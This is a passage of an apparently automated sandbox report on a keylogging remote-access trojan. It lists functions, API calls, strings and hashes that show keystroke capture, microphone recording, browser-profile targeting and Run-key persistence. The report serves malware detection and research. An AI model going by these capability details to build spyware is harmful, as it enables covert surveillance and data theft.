                              • Instruction Fuzzy Hash: 6D21CFB9520204DBD720DF1DE996A907BA4BB48314F10543AED0C8B7B1E3B569C18F8D
                              Function 0041B4EF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                              Download Yara Rule
                              APIs
                              • GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: LocalTime
                              • String ID: | $%02i:%02i:%02i:%03i
                              • API String ID: 481472006-2430845779
                              • Opcode ID: 0b58fb712609a629be2860926311a3a1d9782cd388fbf364b696734300abae58
                              • Instruction ID: b0c371a91d376d28eb23a1cf2c2b6b2589463c7c7bf84255da33bc44f247512a
                              • Opcode Fuzzy Hash: 0b58fb712609a629be2860926311a3a1d9782cd388fbf364b696734300abae58
                              • Instruction Fuzzy Hash: 361181714082055AC304EB62D8419BFB3E9AB44348F50093FF895A21E1EF3CDA49C65A
                              Function 0041AD17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                              Download Yara Rule
                              APIs
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0041AD3C
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExistsFilePath
                              • String ID: alarm.wav$hYG
                              • API String ID: 1174141254-2782910960
                              • Opcode ID: 0e1c4e1224622d2e2eba9349cd815abebc3d2b7a1c969d03ea25083f5c27e476
                              • Instruction ID: 1ebdaa4a32a078914063a8122a991a3a49773bb3edac1861de613ef54c78e1f6
                              • Opcode Fuzzy Hash: 0e1c4e1224622d2e2eba9349cd815abebc3d2b7a1c969d03ea25083f5c27e476
                              • Instruction Fuzzy Hash: 7A01F5B064460156C604F37698167EE37464B80319F00447FF68A266E2EFBC9D99C68F
                              Function 0040B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 0040B172
                                • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              • CloseHandle.KERNEL32(?), ref: 0040B0B4
                              • UnhookWindowsHookEx.USER32 ref: 0040B0C7
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                              • String ID: Online Keylogger Stopped
                              • API String ID: 1623830855-1496645233
                              • Opcode ID: 14d91ba3cc0780b58bc46c93ea61c46197eef5bd77683ed78bbf46c7536d2da3
                              • Instruction ID: 2e372e3e3892c4e8816e9c8053feed756abc81e7e35a03d4dadb391bbfa0e77d
                              • Opcode Fuzzy Hash: 14d91ba3cc0780b58bc46c93ea61c46197eef5bd77683ed78bbf46c7536d2da3
                              • Instruction Fuzzy Hash: 0101F5306002049BD7217B35C80B3BF7BA59B41305F40007FE642226D2EBB91845D7DE
                              Function 0044886B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DateFormat
                              • String ID: GetDateFormatEx$5}/
                              • API String ID: 2793631785-3738735295
                              • Opcode ID: e57c8bcc6615008a6a38e018f0138d4bc8c4e6408d599889502c3a591bacb7fc
                              • Instruction ID: 0ebf002ecde0d386169e61255713c008da9fd7e3b7bab984e061162aac6e8738
                              • Opcode Fuzzy Hash: e57c8bcc6615008a6a38e018f0138d4bc8c4e6408d599889502c3a591bacb7fc
                              • Instruction Fuzzy Hash: 7501483254120DFBCF026FA0DC01EAE3F66EF18711F104529FD0916161CB3A9D21AB99
                              Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                              Download Yara Rule
                              APIs
                              • waveInPrepareHeader.WINMM(?,00000020,?), ref: 00401849
                              • waveInAddBuffer.WINMM(?,00000020), ref: 0040185F
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: wave$BufferHeaderPrepare
                              • String ID: XMG
                              • API String ID: 2315374483-813777761
                              • Opcode ID: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                              • Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
                              • Opcode Fuzzy Hash: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                              • Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8
                              Function 0044862F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON
                              Download Yara Rule
                              APIs
                              • CompareStringW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,\@E,00453FFB,?,?,00000000,?), ref: 0044868C
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CompareString
                              • String ID: \@E$5}/
                              • API String ID: 1825529933-2710635219
                              • Opcode ID: 1b0eaa5873461b8c2d3dab387735198f185510869bfb9b0e1d2616acece5c267
                              • Instruction ID: 622657b534277e968d4e7dd8685de6a8af7918762fc26809a46afc5460126f39
                              • Opcode Fuzzy Hash: 1b0eaa5873461b8c2d3dab387735198f185510869bfb9b0e1d2616acece5c267
                              • Instruction Fuzzy Hash: AD01003250020AFBCF029F90DC019EE7F66EF48351F018559FA0926220CB3ADD32AB98
                              Function 004489AD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39timeCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetTimeFormatW.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 00448A06
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FormatTime
                              • String ID: GetTimeFormatEx$5}/
                              • API String ID: 3606616251-1252497241
                              • Opcode ID: 05476cd3fc40d09e916946f38d2890f660b8a86807632956a4ecf4c6beb59a66
                              • Instruction ID: 0025d71d0d8aad31df4fd48d44da99138f0471d333ce770e45d6f505dc7ef455
                              • Opcode Fuzzy Hash: 05476cd3fc40d09e916946f38d2890f660b8a86807632956a4ecf4c6beb59a66
                              • Instruction Fuzzy Hash: 7CF0AF31641209FBDF01AF51DC02EAE7F25EF08701F10456AFC0966262CE799D25ABD9
                              Function 00448A1D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetUserDefaultLCID.KERNEL32(00000055,?,00000000,00451608,?,00000055,00000050), ref: 00448A67
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DefaultUser
                              • String ID: GetUserDefaultLocaleName$5}/
                              • API String ID: 3358694519-1372233324
                              • Opcode ID: 4e097e1cc9a7cb6592cd62cb35aeb5873d1d222ba26abfedb767bd9baaa41ccd
                              • Instruction ID: 06dbbe9c7d37a549d5e249eecffeb3e25643b503cf5fe1ade380aaf766155dd2
                              • Opcode Fuzzy Hash: 4e097e1cc9a7cb6592cd62cb35aeb5873d1d222ba26abfedb767bd9baaa41ccd
                              • Instruction Fuzzy Hash: 0FF02431640208FBDB00AFA1DC02EAEBF54DF04711F10817BFD086A262CE799D15968D
                              Function 0040C4C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                              Download Yara Rule
                              APIs
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExistsFilePath
                              • String ID: UserProfile$\AppData\Local\Google\Chrome\
                              • API String ID: 1174141254-4188645398
                              • Opcode ID: d6df45e634b6afbccae3fd0fe3c480d2b3110c006c85663e0c742c56e2ad0e6a
                              • Instruction ID: 529cceb54bdbac8586af3e6ebd5273a77adcdcd577382419881006e182ae29c8
                              • Opcode Fuzzy Hash: d6df45e634b6afbccae3fd0fe3c480d2b3110c006c85663e0c742c56e2ad0e6a
                              • Instruction Fuzzy Hash: 96F05E31A00219A6C604BBF69C478BF7B3C9D50709B50017FBA01B61D3EE789945C6EE
                              Function 0040C526 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                              Download Yara Rule
                              APIs
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExistsFilePath
                              • String ID: UserProfile$\AppData\Local\Microsoft\Edge\
                              • API String ID: 1174141254-2800177040
                              • Opcode ID: 6b2bbaa95f382bae7588de9092395feb5a0607f01bf817232799a9fc0a715970
                              • Instruction ID: 330371ab8f71d6844e3501a7b0875f3b866c8fe31c1dcac5d822fe972055fe7f
                              • Opcode Fuzzy Hash: 6b2bbaa95f382bae7588de9092395feb5a0607f01bf817232799a9fc0a715970
                              • Instruction Fuzzy Hash: ECF05E31A00219A6CA14B7B69C47CEF7B6C9D50705B10017FB602B61D2EE78994186EE
                              Function 0040C589 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                              Download Yara Rule
                              APIs
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C5BC
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExistsFilePath
                              • String ID: AppData$\Opera Software\Opera Stable\
                              • API String ID: 1174141254-1629609700
                              • Opcode ID: eb22ca10a5fa219f5c4dc8a07dafa017cd8c89abc0008a47340e43b7a4e1140f
                              • Instruction ID: 49b076bb86b4c8db4da1bdedad10e463925805c403c57d636a3174f469f12df7
                              • Opcode Fuzzy Hash: eb22ca10a5fa219f5c4dc8a07dafa017cd8c89abc0008a47340e43b7a4e1140f
                              • Instruction Fuzzy Hash: 13F05E31A00319A6CA14B7B69C47CEF7B7C9D10709B40017BB601B61D2EE789D4586EA
                              Function 0040B646 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                              Download Yara Rule
                              APIs
                              • GetKeyState.USER32(00000011), ref: 0040B64B
                                • Part of subcall function 0040A3E0: GetForegroundWindow.USER32 ref: 0040A416
                                • Part of subcall function 0040A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
                                • Part of subcall function 0040A3E0: GetKeyboardLayout.USER32 ref: 0040A429
                                • Part of subcall function 0040A3E0: GetKeyState.USER32(00000010), ref: 0040A433
                                • Part of subcall function 0040A3E0: GetKeyboardState.USER32(?), ref: 0040A43E
                                • Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A461
                                • Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A4C1
                                • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                              • String ID: [AltL]$[AltR]
                              • API String ID: 2738857842-2658077756
                              • Opcode ID: 440f2a55e07645c447245340f9966782ae35bb9e0b4477c7a4060e7ad180e5fa
                              • Instruction ID: e48b288e44f9d4c6b211653e2fe3bcc76c2b66b59b43e84e4aaf588e4500f4a3
                              • Opcode Fuzzy Hash: 440f2a55e07645c447245340f9966782ae35bb9e0b4477c7a4060e7ad180e5fa
                              • Instruction Fuzzy Hash: 3BE0652134021052C828323E592F6BE2D51C742754B86057FF9826B6C5DABF4D1542CF
                              Function 0044ECEC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON
                              Download Yara Rule
                              APIs
                              • GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                              • GetACP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED2E
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: uD
                              • API String ID: 0-2547262877
                              • Opcode ID: c5b08800a69d4838b4f5beafbc063674321feb547ffb76a205f46ddd03b66443
                              • Instruction ID: 19c10458df6b4aed5d20bc802b22671fd2b069e30d3a1616a3713fc20edc201d
                              • Opcode Fuzzy Hash: c5b08800a69d4838b4f5beafbc063674321feb547ffb76a205f46ddd03b66443
                              • Instruction Fuzzy Hash: A5F0C871800105CBEB20DB55DC897697771BF11335F144755E4394A6E2C7B98C81CF49
                              Function 00448766 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Free
                              • String ID: FlsFree$5}/
                              • API String ID: 3978063606-3805761975
                              • Opcode ID: 2967988e2eb79af922e2d98a3477f518b996b4f3b65fde8518aea8c38baa11ec
                              • Instruction ID: 77bf7fedabadb9ea6800f7e87cab37a01a67ad405208859f8a523204304e0987
                              • Opcode Fuzzy Hash: 2967988e2eb79af922e2d98a3477f518b996b4f3b65fde8518aea8c38baa11ec
                              • Instruction Fuzzy Hash: CDE0E575A40218E7D700AF659C06E7EBB54CF44B12B2102AEFD0557342DE386D188ADE
                              Function 0041618A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                              Download Yara Rule
                              APIs
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004161A8
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExecuteShell
                              • String ID: !D@$open
                              • API String ID: 587946157-1586967515
                              • Opcode ID: ef1b3a0f4602e6d199ecf0e45d17a7acf077c1a045a33f1301243906c424f492
                              • Instruction ID: 73504a7432a82bf20c2cd712858cac99996ed9f8eaf32da6c0f13d1c3fa6c831
                              • Opcode Fuzzy Hash: ef1b3a0f4602e6d199ecf0e45d17a7acf077c1a045a33f1301243906c424f492
                              • Instruction Fuzzy Hash: 2FE0ED712483059AD614EA72DC91AFE7358AB54755F40083FF506514E2EE3C5849C65A
                              Function 0040B6A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                              Download Yara Rule
                              APIs
                              • GetKeyState.USER32(00000012), ref: 0040B6A5
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: State
                              • String ID: [CtrlL]$[CtrlR]
                              • API String ID: 1649606143-2446555240
                              • Opcode ID: 74451c87ab4e18a563cce8b4b99f8aefb6389db58d63b1dc50ea5b4c36b24e36
                              • Instruction ID: bec5627f59812d2efb235ad4bfa8f6d19d2d97b3e0140e65676d9d4505e8418d
                              • Opcode Fuzzy Hash: 74451c87ab4e18a563cce8b4b99f8aefb6389db58d63b1dc50ea5b4c36b24e36
                              • Instruction Fuzzy Hash: 6FE04F2160021052C524363D5A1E67D2911CB52754B42096FF882A76CADEBF891543CF
                              Function 0040E79F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                              • __Init_thread_footer.LIBCMT ref: 00410F29
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Init_thread_footer__onexit
                              • String ID: ,kG$0kG
                              • API String ID: 1881088180-2015055088
                              • Opcode ID: 3543072a86426642cb3d95922a277c4e502be0bac8cf48ffd361c80e3a631357
                              • Instruction ID: c595ded0a674a2b9ccc74dbc71d20adb946c68f5a758ea4f5ad5526f3cc50642
                              • Opcode Fuzzy Hash: 3543072a86426642cb3d95922a277c4e502be0bac8cf48ffd361c80e3a631357
                              • Instruction Fuzzy Hash: 35E0D8312149208EC214A32995829C93791DB4E335B61412BF414D72D5CBAEB8C1CA1D
                              Function 00413A23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                              Download Yara Rule
                              APIs
                              Strings
                              • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413A2F
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DeleteOpenValue
                              • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                              • API String ID: 2654517830-1051519024
                              • Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                              • Instruction ID: 6fb421a43559def270d35797bbb86f7c8bc210cd52a17bc53693ea6618a40a87
                              • Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                              • Instruction Fuzzy Hash: 99E0C23124420CFBDF104F71DD06FFA376CDB01F42F1006A5BA0692091C626DF049668
                              Function 0040B869 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22fileCOMMON
                              Download Yara Rule
                              APIs
                              • DeleteFileW.KERNEL32(00000000,?,pth_unenc), ref: 0040B876
                              • RemoveDirectoryW.KERNEL32(00000000,?,pth_unenc), ref: 0040B8A1
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DeleteDirectoryFileRemove
                              • String ID: pth_unenc
                              • API String ID: 3325800564-4028850238
                              • Opcode ID: f0c530d5f410f6e48232dff94e8b4526202df80a5f9212f67769b953604160dd
                              • Instruction ID: 8281cfb8de641f04b50c20d0c8e921e0d4b8d2282f61a3be21f0805504db5409
                              • Opcode Fuzzy Hash: f0c530d5f410f6e48232dff94e8b4526202df80a5f9212f67769b953604160dd
                              • Instruction Fuzzy Hash: 45E046321007119BCB14AB258C48AD6339CAF0031AF00486FA492A32A1DF38AC09CAA8
                              Function 00412850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                              Download Yara Rule
                              APIs
                              • TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                              • WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ObjectProcessSingleTerminateWait
                              • String ID: pth_unenc
                              • API String ID: 1872346434-4028850238
                              • Opcode ID: 1b0d5640518fcde21729cf1b02f36aec3fd37732ecf9f275e44c4103a8157302
                              • Instruction ID: 1c2a9d3d993a2aa40768a62e13ec0bdc830226799852dc8a6b6faba0c59f1205
                              • Opcode Fuzzy Hash: 1b0d5640518fcde21729cf1b02f36aec3fd37732ecf9f275e44c4103a8157302
                              • Instruction Fuzzy Hash: 2FD01234189312FFD7350F60EE4DB043B98A705362F140265F428512F1C7A58994EA59
                              Function 0044F30A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CommandLine
                              • String ID: P0L
                              • API String ID: 3253501508-869387498
                              • Opcode ID: 21ebb353eb9a5e230f63c7dd18cef58b922ecce08ae36afe23ca5bbaac6cd083
                              • Instruction ID: 694146ce0b361bd31d1980ce40e18c0a636997d79f12e70286e675221abc8fda
                              • Opcode Fuzzy Hash: 21ebb353eb9a5e230f63c7dd18cef58b922ecce08ae36afe23ca5bbaac6cd083
                              • Instruction Fuzzy Hash: CBB04878800753CB97108F21AA0C0853FA0B30820238020B6940A92A21EB7885868A08
                              Function 00440C91 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401D55), ref: 00440D27
                              • GetLastError.KERNEL32 ref: 00440D35
                              • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00440D90
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharMultiWide$ErrorLast
                              • String ID:
                              • API String ID: 1717984340-0
                              • Opcode ID: 06151d672a34678faa0f1c8d5979b725e0733317c82078799b35041d461e39d5
                              • Instruction ID: f204e272a103731937cf510deb2d9f687334ef06d731906aa630a644c7418207
                              • Opcode Fuzzy Hash: 06151d672a34678faa0f1c8d5979b725e0733317c82078799b35041d461e39d5
                              • Instruction Fuzzy Hash: BA411871A00206EFEF218FA5C8447AB7BA5EF45310F10816BFA549B3A1DB38AD25C759
                              Function 00411B5F Relevance: 5.1, APIs: 4, Instructions: 119COMMON
                              Download Yara Rule
                              APIs
                              • IsBadReadPtr.KERNEL32(?,00000014,00000000,00000000,00000001,?,?,?,00411EF0), ref: 00411B8C
                              • IsBadReadPtr.KERNEL32(?,00000014,00411EF0), ref: 00411C58
                              • SetLastError.KERNEL32(0000007F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411C7A
                              • SetLastError.KERNEL32(0000007E,00411EF0), ref: 00411C91
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLastRead
                              • String ID:
                              • API String ID: 4100373531-0
                              • Opcode ID: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                              • Instruction ID: 277f4bdee2933866d2d1c697a3b04f0a6a13197b354a533a519a822f1f8833ca
                              • Opcode Fuzzy Hash: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                              • Instruction Fuzzy Hash: 37419C75244305DFE7248F18DC84BA7B3E8FB48711F00082EEA8A87661F739E845CB99